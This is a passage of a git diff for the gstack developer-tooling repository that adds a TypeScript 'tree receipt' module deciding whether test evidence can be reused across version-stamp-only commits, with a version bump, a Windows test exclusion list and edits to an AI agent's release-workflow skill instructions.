byKind[kind] = (byKind[kind] ?? 0) + 1;+ if (r.run && seenRuns.has(r.run)) continue;+ if (r.run) { seenRuns.add(r.run); runs.add(r.run); }+ if (r.thread) threads.add(r.thread);+ if (kind === 'unattended') unattended += 1;+ if (consumedCount(r.artifacts_consumed) > 0) { consumed += 1; if (r.thread) consumedThreads.add(r.thread); }+ }+ const cohortConsumed = cohort ? cohort.filter(t => consumedThreads.has(t)).length : consumedThreads.size;+ const denominator = cohort ? cohort.length : threads.size;+ return {+ repo, since, merged_prs: prs.length, with_receipt: withReceipt, invalid_receipts: invalid, unattended_prs: unattended, consumed_prs: consumed,+ runs: [...runs], threads: [...threads], consumed_threads: [...consumedThreads], cohort, cohort_consumed: cohortConsumed,+ adoption: `${cohortConsumed}/${denominator}${cohort ? ' (cohort)' : ' (threads seen; no cohort file)'}`, durable: 'yes', by_session_kind: byKind, prs: rows,+ };+}++export function renderCensus(c: Census): string {+ return [+ `CENSUS: repo=${c.repo} since=${c.since} merged_prs=${c.merged_prs} with_receipt=${c.with_receipt} invalid=${c.invalid_receipts} unattended=${c.unattended_prs} consumed=${c.consumed_prs} runs=${c.runs.length} threads=${c.threads.length} adoption=${c.adoption} durable=${c.durable}`,+ ...Object.entries(c.by_session_kind).map(([k, n]) => ` session_kind ${k}: ${n}`),+ ...c.prs.map(p => ` #${p.number} ${p.valid ? `session_kind=${p.session_kind ?? '-'} artifacts_consumed=${p.artifacts_consumed ?? '-'} run=${p.run ?? '-'} thread=${p.thread ?? '-'}` : 'receipt invalid'}`),+ ].join('\n') + '\n';+}diff --git a/lib/tree-receipt.ts b/lib/tree-receipt.tsnew file mode 100644index 000000000..f549aabfe--- /dev/null+++ b/lib/tree-receipt.ts@@ -0,0 +1,214 @@+/**+ * tree-receipt — the tree-equality receipt (plan C3), behind+ * bin/gstack-tree-receipt. Compares two committed heads (never a working+ * tree: its fingerprint can name objects unreachable once the gate VM is+ * gone), classifies the diff hunk by hunk with per-file-type rules, decides+ * per gate whether its evidence is reusable, and refuses `eligible` when the+ * recorded predecessor head moved. Tree identity alone is not gate evidence:+ * the receipt also compares the execution identity the gate ran under (from+ * a `gstack-evidence bundle`) with the current one.+ */+import { spawnSync } from 'node:child_process';+import * as fs from 'node:fs';+import * as path from 'node:path';+import { normalizeChangelog } from './changelog-check';+import { compareIdentity, executionIdentity, normalizeLockfile, readBundle, type EvidenceBundle, type ExecutionIdentity } from './evidence-bundle';+import { parseUnifiedDiff, rewriteStamps, versionAtRef, type FileDiff, type GateAheadRecord } from './restamp';+import type { ResultCodeName } from './result-codes';+import { matchesAny, type ShipPolicy } from './ship-policy';++export type HunkClass = 'stamp' | 'changed';+export interface FileVerdict { path: string; rule: string; verdict: HunkClass; residual?: string }+export interface GateVerdict { label: string; verdict: 'reusable' | 'rerun' | 'not-reusable'; reason: string; cmd_sha256?: string; command?: string }+export interface TreeReceipt {+ schema_version: 1;+ gated_head: string; current_head: string; gated_tree: string; current_tree: string;+ gated_wtree: string; current_wtree: string;+ old_version: string | null; new_version: string | null;+ predecessor: { pr: string | null; recorded_head: string | null; current_head: string | null; moved: boolean } | null;+ files: FileVerdict[]; residual: string[];+ tree: 'same-modulo-stamps' | 'changed';+ identity: { gated: ExecutionIdentity | null; current: ExecutionIdentity; diffs: string[]; source: string };+ gates: GateVerdict[];+ gate_reuse: 'eligible' | 'not-eligible';+ gate_reuse_reason: string;+ rerun_command: string;+ policy: string;+ stamp_diff: string;+ code?: ResultCodeName;+}++function git(cwd: string, args: string[]): string | null {+ const r = spawnSync('git', args, { cwd, encoding: 'utf8', timeout: 60_000, maxBuffer: 64 * 1024 * 1024 });+ return r.status === 0 ? (r.stdout ?? '').replace(/\n$/, '') : null;+}+function blob(cwd: string, treeish: string, rel: string): string | null {+ const r = spawnSync('git', ['show', `${treeish}:${rel}`], { cwd, encoding: 'utf8', timeout: 60_000, maxBuffer: 64 * 1024 * 1024 });+ return r.status === 0 ? r.stdout : null;+}++/** Every removed/added pair differs only by the exact stamp rewrites (old -> new). */+function stampOnlyHunks(hunks: FileDiff['hunks'], oldV: string, newV: string): string | null {+ for (const h of hunks) {+ if (h.removed.length !== h.added.length) return `${h.removed.length} line(s) removed, ${h.added.length} added`;+ for (let i = 0; i < h.removed.length; i++) {+ const r = h.removed[i]!;+ const a = h.added[i]!;+ const rewritten = rewriteStamps(r, oldV, newV);+ if (rewritten.count === 0 || rewritten.text !== a) return `${JSON.stringify(r.trim().slice(0, 60))} -> ${JSON.stringify(a.trim().slice(0, 60))}`;+ }+ }+ return null;+}++function jsonEqualModuloVersion(a: string | null, b: string | null, name: string): boolean {+ if (a === null || b === null) return false;+ return normalizeLockfile(name, a) === normalizeLockfile(name, b);+}++function classifyFile(repoRoot: string, f: FileDiff, gated: string, current: string, policy: ShipPolicy, versionRel: string, oldV: string | null, newV: string | null): FileVerdict {+ const changed = (rule: string, residual: string): FileVerdict => ({ path: f.path, rule, verdict: 'changed', residual });+ const stamp = (rule: string): FileVerdict => ({ path: f.path, rule, verdict: 'stamp' });+ if (f.binary) return changed('binary', 'binary content differs');+ if (f.status !== 'M') return changed('path', `${f.status === 'A' ? 'added' : f.status === 'D' ? 'deleted' : 'renamed'}`);+ const before = blob(repoRoot, gated, f.path);+ const after = blob(repoRoot, current, f.path);+ const base = path.basename(f.path);+ if (f.path === versionRel) {+ if (before !== null && after !== null && before.trim() === oldV && after.trim() === newV) return stamp('version-file');+ if (versionRel.endsWith('.json') && jsonEqualModuloVersion(before, after, 'package-lock.json')) return stamp('version-manifest');+ return changed('version-file', 'content beyond the version changed');+ }+ if (base === 'package-lock.json' || base === 'npm-shrinkwrap.json') {+ return jsonEqualModuloVersion(before, after, base) ? stamp('lockfile-root-version') : changed('lockfile', 'a dependency entry changed (only the root version keys are stamps)');+ }+ if (base === 'bun.lock') return jsonEqualModuloVersion(before, after, base) ? stamp('lockfile-root-version') : changed('lockfile', 'a dependency entry changed');+ if (base === 'package.json') {+ try {+ const a = JSON.parse(before ?? 'null'); const b = JSON.parse(after ?? 'null');+ if (a && b) { delete a.version; delete b.version; if (JSON.stringify(a) === JSON.stringify(b)) return stamp('manifest-version'); }+ } catch {}+ return changed('manifest', 'a field other than version changed');+ }+ if (policy.changelog && f.path === policy.changelog) {+ return before !== null && after !== null && normalizeChangelog(before) === normalizeChangelog(after) ? stamp('changelog-heading') : changed('changelog', 'entry text changed (only a heading move or re-heading is a stamp)');+ }+ if (oldV && newV && oldV !== newV && (matchesAny(policy.stamp_paths, f.path) || matchesAny(policy.release_outputs, f.path))) {+ const rule = matchesAny(policy.stamp_paths, f.path) ? 'stamp_paths' : 'release_outputs';+ const why = stampOnlyHunks(f.hunks, oldV, newV);+ return why ? changed(rule, why) : stamp(rule);+ }+ return changed('other', `${f.hunks.length} hunk(s) outside every stamp rule`);+}++export interface ReceiptOptions {+ repoRoot: string; gated: string; current?: string; policy: ShipPolicy; policyLabel: string; versionRel?: string;+ predecessor?: { pr: string | null; recordedHead: string | null; ref?: string | null; currentHead?: string | null };+ bundlePath?: string; gh?: (args: string[]) => { ok: boolean; out: string }; env?: NodeJS.ProcessEnv; rerunCommand?: string;+}++export function fromGateAhead(file: string): GateAheadRecord {+ return JSON.parse(fs.readFileSync(file, 'utf8')) as GateAheadRecord;+}++function resolvePredecessor(o: ReceiptOptions): TreeReceipt['predecessor'] {+ const p = o.predecessor;+ if (!p) return null;+ let currentHead: string | null = p.currentHead ?? null;+ if (!currentHead && p.ref) currentHead = git(o.repoRoot, ['rev-parse', '--verify', '--quiet', `${p.ref}^{commit}`]);+ if (!currentHead && p.pr) {+ const gh = o.gh ?? ((args: string[]) => { const r = spawnSync('gh', args, { cwd: o.repoRoot, encoding: 'utf8', timeout: 60_000 }); return { ok: r.status === 0, out: r.stdout ?? '' }; });+ const r = gh(['pr', 'view', p.pr, '--json', 'headRefOid']);+ try { currentHead = r.ok ? (JSON.parse(r.out).headRefOid ?? null) : null; } catch { currentHead = null; }+ }+ const moved = !!(p.recordedHead && currentHead && p.recordedHead !== currentHead);+ return { pr: p.pr, recorded_head: p.recordedHead, current_head: currentHead, moved };+}++export function buildReceipt(o: ReceiptOptions): TreeReceipt | { error: string; code: ResultCodeName } {+ const gatedHead = git(o.repoRoot, ['rev-parse', '--verify', '--quiet', `${o.gated}^{commit}`]);+ const currentHead = git(o.repoRoot, ['rev-parse', '--verify', '--quiet', `${o.current ?? 'HEAD'}^{commit}`]);+ if (!gatedHead) return { error: `gated head ${o.gated} is not a committed head here (fetch it, or copy the gate-ahead worktree's object store)`, code: 'EVIDENCE_IDENTITY_UNKNOWN' };+ if (!currentHead) return { error: `current head ${o.current ?? 'HEAD'} is not a commit`, code: 'EVIDENCE_IDENTITY_UNKNOWN' };+ const gatedTree = git(o.repoRoot, ['rev-parse', `${gatedHead}^{tree}`])!;+ const currentTree = git(o.repoRoot, ['rev-parse', `${currentHead}^{tree}`])!;+ const gv = versionAtRef(o.repoRoot, gatedHead);+ const cv = versionAtRef(o.repoRoot, currentHead);+ const versionRel = o.versionRel ?? ('rel' in cv ? cv.rel : 'rel' in gv ? gv.rel : 'VERSION');+ const oldV = 'version' in gv ? gv.version : null;+ const newV = 'version' in cv ? cv.version : null;+ const diffText = git(o.repoRoot, ['diff', '--unified=0', '--no-color', '--no-ext-diff', gatedHead, currentHead]) ?? '';+ const files = parseUnifiedDiff(diffText).map(f => classifyFile(o.repoRoot, f, gatedHead, currentHead, o.policy, versionRel, oldV, newV));+ const residual = files.filter(f => f.verdict === 'changed').map(f => f.path);+ const stampFiles = files.filter(f => f.verdict === 'stamp').map(f => f.path);+ const stampDiff = stampFiles.length ? (git(o.repoRoot, ['diff', '--no-color', '--no-ext-diff', gatedHead, currentHead, '--', ...stampFiles]) ?? '') : '';+ const predecessor = resolvePredecessor(o);++ const current = executionIdentity(o.repoRoot, currentHead, o.env);+ let gated: ExecutionIdentity | null = null;+ let bundle: EvidenceBundle | null = null;+ let source = 'none (no evidence bundle; execution identity unknown)';+ if (o.bundlePath) {+ const read = readBundle(o.bundlePath);+ if (!read.bundle) source = `invalid bundle: ${read.error?.message}`;+ else if (read.bundle.repo.tree !== gatedTree) source = `bundle ${o.bundlePath} was produced on tree ${read.bundle.repo.tree.slice(0, 12)}, not the gated tree ${gatedTree.slice(0, 12)}`;+ else { bundle = read.bundle; gated = bundle.identity; source = `bundle ${o.bundlePath} (producer ${bundle.producer.host}, ${bundle.produced_at})`; }+ }+ const diffs = gated ? compareIdentity(gated, current) : [];+ const rerun = o.rerunCommand ?? 'gstack-evidence run --label <lane> -- <lane command>';++ const gates: GateVerdict[] = [];+ const sensitive = new Set(o.policy.stamp_sensitive_gates);+ if (bundle) {+ for (const lane of bundle.lanes) {+ if (sensitive.has(lane.label)) gates.push({ label: lane.label, verdict: 'rerun', reason: 'stamp-sensitive (reads VERSION or generated bytes); always reruns on the stamped tree', cmd_sha256: lane.cmd_sha256, command: lane.command });+ else if (!lane.verified) gates.push({ label: lane.label, verdict: 'not-reusable', reason: lane.reason ?? 'not verified', cmd_sha256: lane.cmd_sha256, command: lane.command });+ else if (lane.exit !== 0) gates.push({ label: lane.label, verdict: 'not-reusable', reason: `recorded run exited ${lane.exit}`, cmd_sha256: lane.cmd_sha256, command: lane.command });+ else if (diffs.length) gates.push({ label: lane.label, verdict: 'not-reusable', reason: `identity changed: ${diffs.join('; ')}`, cmd_sha256: lane.cmd_sha256, command: lane.command });+ else gates.push({ label: lane.label, verdict: 'reusable', reason: 'identity matches; tree same modulo stamps', cmd_sha256: lane.cmd_sha256, command: lane.command });+ }+ for (const label of bundle.required_lanes) if (!bundle.lanes.some(l => l.label === label)) gates.push({ label, verdict: 'not-reusable', reason: 'required lane has no verified record in the bundle' });+ for (const lane of bundle.imported) gates.push({ label: lane.label, verdict: 'not-reusable', reason: lane.reason ?? 'imported assertion, not verified' });+ }++ const treeVerdict: TreeReceipt['tree'] = residual.length ? 'changed' : 'same-modulo-stamps';+ let reason = '';+ if (treeVerdict === 'changed') reason = `tree changed: ${residual.join(', ')}`;+ else if (predecessor?.moved) reason = `PREDECESSOR MOVED ${predecessor.recorded_head!.slice(0, 12)} -> ${predecessor.current_head!.slice(0, 12)}`;+ else if (!bundle) reason = source;+ else if (diffs.length) reason = diffs.join('; ');+ else if (gates.some(g => g.verdict === 'not-reusable')) reason = gates.filter(g => g.verdict === 'not-reusable').map(g => `${g.label}: ${g.reason}`).join('; ');+ else if (gates.length === 0 || gates.every(g => g.verdict === 'rerun')) reason = gates.length ? 'every lane is stamp-sensitive; nothing to reuse' : 'bundle lists no lanes';+ const eligible = reason === '';+ return {+ schema_version: 1, gated_head: gatedHead, current_head: currentHead, gated_tree: gatedTree, current_tree: currentTree,+ gated_wtree: gatedTree, current_wtree: currentTree, old_version: oldV, new_version: newV, predecessor,+ files, residual, tree: treeVerdict, identity: { gated, current, diffs, source }, gates,+ gate_reuse: eligible ? 'eligible' : 'not-eligible', gate_reuse_reason: eligible ? `reusable: ${gates.filter(g => g.verdict === 'reusable').map(g => g.label).join(',') || '-'}; rerun: ${gates.filter(g => g.verdict === 'rerun').map(g => g.label).join(',') || '-'}` : reason,+ rerun_command: rerun, policy: o.policyLabel, stamp_diff: stampDiff,+ code: eligible ? undefined : predecessor?.moved && treeVerdict !== 'changed' ? 'RESTAMP_PREDECESSOR_MOVED' : 'GATE_REUSE_NOT_ELIGIBLE',+ };+}++/** The human rendering: identifiers first, one verdict line each for the tree and the gate reuse. */+export function renderReceipt(r: TreeReceipt): string {+ const lines = [+ `gated head: ${r.gated_head}`,+ `current head: ${r.current_head}`,+ `gated tree: ${r.gated_tree}`,+ `current tree: ${r.current_tree}`,+ `version: ${r.old_version ?? '-'} -> ${r.new_version ?? '-'}`,+ `predecessor: ${r.predecessor ? `#${r.predecessor.pr ?? '?'} recorded=${r.predecessor.recorded_head?.slice(0, 12) ?? '-'} current=${r.predecessor.current_head?.slice(0, 12) ?? 'unknown'}${r.predecessor.moved ? ' MOVED' : ''}` : 'none'}`,+ `policy: ${r.policy}`,+ `identity: ${r.identity.source}${r.identity.diffs.length ? ` — changed: ${r.identity.diffs.join('; ')}` : ''}`,+ ];+ for (const f of r.files) lines.push(` ${f.verdict === 'stamp' ? 'stamp ' : 'changed'} ${f.path} (${f.rule}${f.residual ? `: ${f.residual}` : ''})`);+ for (const g of r.gates) lines.push(` gate ${g.label}: ${g.verdict} (${g.reason})`);+ if (r.stamp_diff) lines.push(r.stamp_diff.replace(/\n$/, ''));+ lines.push(`TREE: ${r.tree === 'changed' ? `changed (${r.residual.join(', ')})` : 'same-modulo-stamps'}`);+ if (r.predecessor?.moved) lines.push(`PREDECESSOR MOVED ${r.predecessor.recorded_head} -> ${r.predecessor.current_head} — fix: gstack-restamp --after ${r.predecessor.pr ?? '<pr>'} again (RESTAMP_PREDECESSOR_MOVED)`);+ lines.push(r.gate_reuse === 'eligible'+ ? `gate-reuse: eligible (${r.gate_reuse_reason})`+ : `gate-reuse: not-eligible (${r.gate_reuse_reason}) — fix: ${r.rerun_command} (GATE_REUSE_NOT_ELIGIBLE)`);+ return lines.join('\n') + '\n';+}diff --git a/package.json b/package.jsonindex b804a80be..c574b428a 100644--- a/package.json+++ b/package.json@@ -1,6 +1,6 @@{"name": "gstack",- "version": "1.91.72",+ "version": "1.91.73","description": "Garry's Stack — Claude Code skills + fast headless browser. One repo, one install, entire AI engineering workflow.","license": "MIT","type": "module",diff --git a/scripts/lib/windows-curation.ts b/scripts/lib/windows-curation.tsindex 3743b123e..ce59e885a 100644--- a/scripts/lib/windows-curation.ts+++ b/scripts/lib/windows-curation.ts@@ -226,6 +226,29 @@ export const KNOWN_WINDOWS_INCOMPATIBLE: Array<{ file: string; reason: string }>file: 'test/cso-scanner-cli.test.ts',reason: 'drives the prebuilt POSIX CSO launcher with /usr/bin/git and a POSIX-only PATH; native Windows launcher behavior is covered by the dedicated cso-windows-launcher gate',},+ // C-stamp (ship policy, restamp, tree receipt, evidence bundle, ship receipt):+ // every case spawns bin/ shebang scripts and a #!/bin/sh `gh` shim through+ // test/helpers/restamp-fixture.ts, so the source scan misses them.+ {+ file: 'test/gstack-ship-policy.test.ts',+ reason: 'spawns bin/gstack-ship-policy (shebang) through test/helpers/restamp-fixture.ts; the policy schema and loader are pure lib code covered on the POSIX gates',+ },+ {+ file: 'test/restamp-command-boundary.test.ts',+ reason: 'spawns bin/gstack-restamp (shebang) and a POSIX release tool through test/helpers/restamp-fixture.ts',+ },+ {+ file: 'test/tree-receipt-stamp-sensitive.test.ts',+ reason: 'spawns bin/gstack-tree-receipt, bin/gstack-restamp and bin/gstack-evidence (shebangs) plus a #!/bin/sh gh shim through test/helpers/restamp-fixture.ts',+ },+ {+ file: 'test/evidence-bundle-portability.test.ts',+ reason: 'spawns bin/gstack-evidence and bin/gstack-tree-receipt (shebangs) through test/helpers/restamp-fixture.ts',+ },+ {+ file: 'test/gstack-ship-receipt.test.ts',+ reason: 'spawns bin/gstack-ship-receipt and bin/gstack-artifact (shebangs) plus a #!/bin/sh gh shim through test/helpers/restamp-fixture.ts',+ },];// Force-include overrides: files a WINDOWS_FRAGILE_PATTERNS regex excludes fordiff --git a/scripts/pr-dependencies.ts b/scripts/pr-dependencies.tsindex 8d616fd61..070da473e 100644--- a/scripts/pr-dependencies.ts+++ b/scripts/pr-dependencies.ts@@ -80,6 +80,8 @@ export const SELECTION_DATA_MODULES: readonly string[] = ['scripts/pr-dependencies.ts', 'scripts/lib/paid-cases.ts', 'scripts/lib/paid-select.ts', 'scripts/lib/paid-types.ts',// The build entry list: every compiled binary, which skills reach through their `--outfile` path instead.'scripts/build.sh',+ // The reason-code table: its `fix:` prose names the command a person reruns, not a file the module consumes.+ 'lib/result-codes.ts',];const DEFAULT_JUDGE_OWNER = 'test/skill-llm-eval.test.ts';diff --git a/ship/SKILL.md b/ship/SKILL.mdindex 82547fca2..3b24c42a6 100644--- a/ship/SKILL.md+++ b/ship/SKILL.md@@ -713,13 +713,15 @@ Merge the base ref fetched in Step 1 so tests and reviews cover the integrated cgit merge origin/<base> --no-edit```-**If there are merge conflicts:** Try to auto-resolve if they are simple (VERSION, schema.rb, CHANGELOG ordering). For complex or ambiguous conflicts, **STOP**, show the conflicting choices, use AskUserQuestion for the needed resolution decision, and wait for the answer before editing or continuing.+**If there are merge conflicts:** Auto-resolve simple ones (VERSION, schema.rb, CHANGELOG ordering). For complex or ambiguous conflicts, **STOP**, show the conflicting choices, use AskUserQuestion for the resolution decision, and wait for the answer before editing or continuing.**If already up to date:** Continue silently.+**Ship policy:** `~/.claude/skills/gstack/bin/gstack-ship-policy show-effective --base <base>`+(docs/ship-policy.md); its `ship:` lines bind Steps 12, 16 and history.+If integration changes the artifact or distribution configuration inspected in Step 2,-repeat Step 2 on the merged content, including its decisions, then continue to Step 4.-Otherwise continue to Step 4 directly.+repeat Step 2 (decisions included) on the merged content, then Step 4.---@@ -768,6 +770,8 @@ Otherwise continue to Step 4 directly.Item 3 needs `BUMP_LEVEL`: reuse this invocation's saved level. Otherwise FRESHchooses it in item 2 and ALREADY_BUMPED derives it in item 1.+`ship: queue_mode stamp-at-merge` replaces items 1–4.+1. **Classify state** — pure reader, never writes:```bashbun run ~/.claude/skills/gstack/bin/gstack-version-bump classify --base <base>@@ -790,9 +794,10 @@ chooses it in item 2 and ALREADY_BUMPED derives it in item 1.unreadable or malformed. Fix it or its pin, then reclassify. Never substitute `0.0.0.0`.2. **Decide the bump level** from the diff (agent judgment):- - **MICRO**: <50 lines, trivial tweaks/config. **PATCH**: 50+ lines, no feature signals.+ - **MICRO**: <50 lines, trivial tweaks/config. **PATCH**: 50+ lines, no feature signal.- **MINOR**: ask for any feature signal (new route/page, migration, module) or 500+ lines.- **MAJOR**: ask for milestones or breaking changes. Use AskUserQuestion: recommended+ **MAJOR**: ask for milestones or breaking changes (`ship: bump patch` never asks).+ Use AskUserQuestion: recommendedlevel with rationale, smaller level, or cancel. Wait; cancel stops before releasewrites or push and preserves existing work.Save lowercase `BUMP_LEVEL`. A claimed version may move the next available number@@ -822,23 +827,22 @@ chooses it in item 2 and ALREADY_BUMPED derives it in item 1.bun run ~/.claude/skills/gstack/bin/gstack-version-bump write --version "$NEW_VERSION" --regen-digest```The CLI validates `MAJOR.MINOR.PATCH.MICRO` (or pinned 3-digit semver) and writes- VERSION, the manifest and existing `package-lock.json` / `npm-shrinkwrap.json`;- it never creates lockfiles. Manifest path: `--package-json-path` →- `.gstack/package-json-path` → `./package.json`. npm files use the 3-digit translation- (`1.67.0.0` → `1.67.0`); VERSION is authoritative. Exit 3 means a half-write:+ VERSION, the manifest (`--package-json-path` → `.gstack/package-json-path` →+ `./package.json`) and existing npm lockfiles, never creating one, with the 3-digit+ translation (`1.67.0.0` → `1.67.0`); VERSION is authoritative. Exit 3 is a half-write:reclassify and `repair` DRIFT_STALE_PKG.- `--regen-digest` runs repo code with Step 5's privileges: `scripts/gen-agents-digest.ts`,- only when it and committed `agents-digest/gstack-AGENTS.md` exist. If `agentsDigest`- is false, run `bun scripts/gen-agents-digest.ts` and stage the digest with the bump.- Before push, verify the committed digest matches generation for the selected VERSION.+ `--regen-digest` runs repo code (`scripts/gen-agents-digest.ts`) with Step 5's privileges+ only when it and committed `agents-digest/gstack-AGENTS.md` exist; if `agentsDigest` is+ false, run `bun scripts/gen-agents-digest.ts` and stage the digest with the bump. Before+ push, verify the committed digest matches generation for the selected VERSION.-5. **Record the release decision after a version was actually written**, including+5. **Record the release decision after a version was written**, includingan approved ALREADY_BUMPED rebump. Skip unchanged versions and manifest-only repairs.```bash~/.claude/skills/gstack/bin/gstack-decision-log '{"decision":"Ship NEW_VERSION (BUMP_LEVEL)","rationale":"WHY","scope":"repo","source":"skill","confidence":9}' 2>/dev/null || true```- Substitute `NEW_VERSION`, `BUMP_LEVEL`, and one-line `WHY` (scope or breaking-change signal). Best-effort, non-interactive, non-blocking.+ Substitute `NEW_VERSION`, `BUMP_LEVEL` and a one-line `WHY` (scope or breaking-change signal); best-effort, non-blocking.> **STOP.** Before writing the CHANGELOG entry (Step 13), Read `~/.claude/skills/gstack/ship/sections/changelog.md` and execute it> in full. Do not work from memory — that section is the source of truth for this step.@@ -911,15 +915,15 @@ EOF**IRON LAW: NO COMPLETION CLAIMS WITHOUT FRESH VERIFICATION EVIDENCE.**-Run stages 1–5 in order. Recovery instructions below name where to resume.-If content changes during or after verification, restart at stage 1 and complete-all five stages before Step 17. Content-preserving commits keep valid evidence.+Run stages 1–5 in order; recovery notes below name where to resume. Content+changes during or after verification restart at stage 1 and complete all five+stages before Step 17. Content-preserving commits keep valid evidence.### 1. Finish writers and prepare outputs-Inspect writer handles, including the docs child. Confirm terminal completion or termination-before another writer runs. Timeout or cancellation acknowledgment alone means-STOP until confirmed.+Inspect writer handles, including the docs child. Confirm terminal completion or+termination before another writer runs; timeout or cancellation acknowledgment+alone means STOP until confirmed.Find declared generation/build commands in project instructions, manifests, buildfiles and CI. Run them and save results. If none exists, record not applicable and@@ -982,10 +986,9 @@ checks; report unavailable checks.**Reuse a check when its inputs match.** Compare hashes or complete bytes of itssaved and current consumed files, fixtures, dependencies and execution parameters.-Explain why other changes cannot affect it; changed or unknown dependencies require a rerun.-For model judges, compare the complete expanded request, rubric, parameters and-builder/runtime dependencies. Reuse identical passing evidence: cite the original-command, result/counts, timestamp and log, never resample it. Mandatory reviews still run.+Changed or unknown dependencies require a rerun. For model judges, compare the complete+expanded request, rubric, parameters and builder/runtime dependencies. Cite the original+command, result/counts, timestamp and log, never resample. Mandatory reviews still run.**Check each test lane's receipt as well.** Use its actual Step 5 label/command:`--label <lane> --expect-cmd '<exact Step 5 command>'`. Inspect changes since the run;diff --git a/ship/SKILL.md.tmpl b/ship/SKILL.md.tmplindex 21c99c9fe..64e7a0f4a 100644--- a/ship/SKILL.md.tmpl+++ b/ship/SKILL.md.tmpl@@ -183,13 +183,15 @@ Merge the base ref fetched in Step 1 so tests and reviews cover the integrated cgit merge origin/<base> --no-edit```-**If there are merge conflicts:** Try to auto-resolve if they are simple (VERSION, schema.rb, CHANGELOG ordering). For complex or ambiguous conflicts, **STOP**, show the conflicting choices, use AskUserQuestion for the needed resolution decision, and wait for the answer before editing or continuing.+**If there are merge conflicts:** Auto-resolve simple ones (VERSION, schema.rb, CHANGELOG ordering). For complex or ambiguous conflicts, **STOP**, show the conflicting choices, use AskUserQuestion for the resolution decision, and wait for the answer before editing or continuing.**If already up to date:** Continue silently.+**Ship policy:** `~/.claude/skills/gstack/bin/gstack-ship-policy show-effective --base <base>`+(docs/ship-policy.md); its `ship:` lines bind Steps 12, 16 and history.+If integration changes the artifact or distribution configuration inspected in Step 2,-repeat Step 2 on the merged content, including its decisions, then continue to Step 4.-Otherwise continue to Step 4 directly.+repeat Step 2 (decisions included) on the merged content, then Step 4.---@@ -231,6 +233,8 @@ Otherwise continue to Step 4 directly.Item 3 needs `BUMP_LEVEL`: reuse this invocation's saved level. Otherwise FRESHchooses it in item 2 and ALREADY_BUMPED derives it in item 1.+`ship: queue_mode stamp-at-merge` replaces items 1–4.+1. **Classify state** — pure reader, never writes:```bashbun run ~/.claude/skills/gstack/bin/gstack-version-bump classify --base <base>@@ -253,9 +257,10 @@ chooses it in item 2 and ALREADY_BUMPED derives it in item 1.unreadable or malformed. Fix it or its pin, then reclassify. Never substitute `0.0.0.0`.2. **Decide the bump level** from the diff (agent judgment):- - **MICRO**: <50 lines, trivial tweaks/config. **PATCH**: 50+ lines, no feature signals.+ - **MICRO**: <50 lines, trivial tweaks/config. **PATCH**: 50+ lines, no feature signal.- **MINOR**: ask for any feature signal (new route/page, migration, module) or 500+ lines.- **MAJOR**: ask for milestones or breaking changes. Use AskUserQuestion: recommended+ **MAJOR**: ask for milestones or breaking changes (`ship: bump patch` never asks).+ Use AskUserQuestion: recommendedlevel with rationale, smaller level, or cancel. Wait; cancel stops before releasewrites or push and preserves existing work.Save lowercase `BUMP_LEVEL`. A claimed version may move the next available number@@ -285,23 +290,22 @@ chooses it in item 2 and ALREADY_BUMPED derives it in item 1.bun run ~/.claude/skills/gstack/bin/gstack-version-bump write --version "$NEW_VERSION" --regen-digest```The CLI validates `MAJOR.MINOR.PATCH.MICRO` (or pinned 3-digit semver) and writes- VERSION, the manifest and existing `package-lock.json` / `npm-shrinkwrap.json`;- it never creates lockfiles. Manifest path: `--package-json-path` →- `.gstack/package-json-path` → `./package.json`. npm files use the 3-digit translation- (`1.67.0.0` → `1.67.0`); VERSION is authoritative. Exit 3 means a half-write:+ VERSION, the manifest (`--package-json-path` → `.gstack/package-json-path` →+ `./package.json`) and existing npm lockfiles, never creating one, with the 3-digit+ translation (`1.67.0.0` → `1.67.0`); VERSION is authoritative. Exit 3 is a half-write:reclassify and `repair` DRIFT_STALE_PKG.- `--regen-digest` runs repo code with Step 5's privileges: `scripts/gen-agents-digest.ts`,- only when it and committed `agents-digest/gstack-AGENTS.md` exist. If `agentsDigest`- is false, run `bun scripts/gen-agents-digest.ts` and stage the digest with the bump.- Before push, verify the committed digest matches generation for the selected VERSION.+ `--regen-digest` runs repo code (`scripts/gen-agents-digest.ts`) with Step 5's privileges+ only when it and committed `agents-digest/gstack-AGENTS.md` exist; if `agentsDigest` is+ false, run `bun scripts/gen-agents-digest.ts` and stage the digest with the bump. Before+ push, verify the committed digest matches generation for the selected VERSION.-5. **Record the release decision after a version was actually written**, including+5. **Record the release decision after a version was written**, includingan approved ALREADY_BUMPED rebump. Skip unchanged versions and manifest-only repairs.```bash~/.claude/skills/gstack/bin/gstack-decision-log '{"decision":"Ship NEW_VERSION (BUMP_LEVEL)","rationale":"WHY","scope":"repo","source":"skill","confidence":9}' 2>/dev/null || true```- Substitute `NEW_VERSION`, `BUMP_LEVEL`, and one-line `WHY` (scope or breaking-change signal). Best-effort, non-interactive, non-blocking.+ Substitute `NEW_VERSION`, `BUMP_LEVEL` and a one-line `WHY` (scope or breaking-change signal); best-effort, non-blocking.{{SECTION:changelog}}@@ -372,15 +376,15 @@ EOF**IRON LAW: NO COMPLETION CLAIMS WITHOUT FRESH VERIFICATION EVIDENCE.**-Run stages 1–5 in order. Recovery instructions below name where to resume.-If content changes during or after verification, restart at stage 1 and complete-all five stages before Step 17. Content-preserving commits keep valid evidence.+Run stages 1–5 in order; recovery notes below name where to resume. Content+changes during or after verification restart at stage 1 and complete all five+stages before Step 17. Content-preserving commits keep valid evidence.### 1. Finish writers and prepare outputs-Inspect writer handles, including the docs child. Confirm terminal completion or termination-before another writer runs. Timeout or cancellation acknowledgment alone means-STOP until confirmed.+Inspect writer handles, including the docs child. Confirm terminal completion or+termination before another writer runs; timeout or cancellation acknowledgment+alone means STOP until confirmed.Find declared generation/build commands in project instructions, manifests, buildfiles and CI. Run them and save results. If none exists, record not applicable and@@ -443,10 +447,9 @@ checks; report unavailable checks.**Reuse a check when its inputs match.** Compare hashes or complete bytes of itssaved and current consumed files, fixtures, dependencies and execution parameters.-Explain why other changes cannot affect it; changed or unknown dependencies require a rerun.-For model judges, compare the complete expanded request, rubric, parameters and-builder/runtime dependencies. Reuse identical passing evidence: cite the original-command, result/counts, timestamp and log, never resample it. Mandatory reviews still run.+Changed or unknown dependencies require a rerun. For model judges, compare the complete+expanded request, rubric, parameters and builder/runtime dependencies. Cite the original+command, result/counts, timestamp and log, never resample. Mandatory reviews still run.**Check each test lane's receipt as well.** Use its actual Step 5 label/command:`--label <lane> --expect-cmd '<exact Step 5 command>'`. Inspect changes since the run;diff --git a/ship/sections/pr-body.md b/ship/sections/pr-body.mdindex 59f589720..5d4323028 100644--- a/ship/sections/pr-body.md+++ b/ship/sections/pr-body.md@@ -179,6 +179,19 